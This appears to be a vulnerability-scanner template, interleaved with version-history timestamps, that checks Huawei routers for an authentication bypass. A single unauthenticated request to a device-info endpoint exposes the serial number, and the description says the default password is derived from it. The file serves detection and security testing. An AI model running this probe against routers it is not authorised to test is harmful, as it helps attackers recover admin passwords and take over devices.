2021-07-01 00:28:30 +00:00
id : huawei-router-auth-bypass
info :
2022-06-03 19:12:31 +00:00
name : Huawei Router - Authentication Bypass
2021-07-01 00:28:30 +00:00
author : gy741
severity : critical
2022-06-03 19:12:31 +00:00
description : Huawei Routers are vulnerable to authentication bypass because the default password of this router is the last 8 characters of the device's serial number which exist on the back of the device.
2021-08-18 11:37:49 +00:00
reference :
2021-07-01 00:28:30 +00:00
- https://www.exploit-db.com/exploits/48310
2022-06-03 19:12:31 +00:00
classification :
2023-11-10 16:58:54 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
2023-10-14 11:27:55 +00:00
cvss-score : 10
2022-06-03 19:12:31 +00:00
cwe-id : CWE-288
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-10-14 11:27:55 +00:00
tags : auth-bypass,router,edb,huawei
2021-07-01 00:28:30 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-01 00:28:30 +00:00
- raw :
- |
GET /api/system/deviceinfo HTTP/1.1
Host : {{Hostname}}
Accept : application/json, text/javascript, */*; q=0.01
Referer : {{BaseURL}}
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "DeviceName"
- "SerialNumber"
2021-07-06 18:02:45 +00:00
- "HardwareVersion"
2022-06-03 19:12:31 +00:00
condition : and
2023-11-10 17:01:14 +00:00
# digest: 4a0a00473045022100dad2e64cfe1e58f0bad69d1da6ede13447ad1a58f60e8dcb50a1946e8980e63f02203a2282329ce371bf8d213ace5f75e364d5d78dc0dd505b85474bbee7babe5447:922c64590222798bb761d5b6d8e72950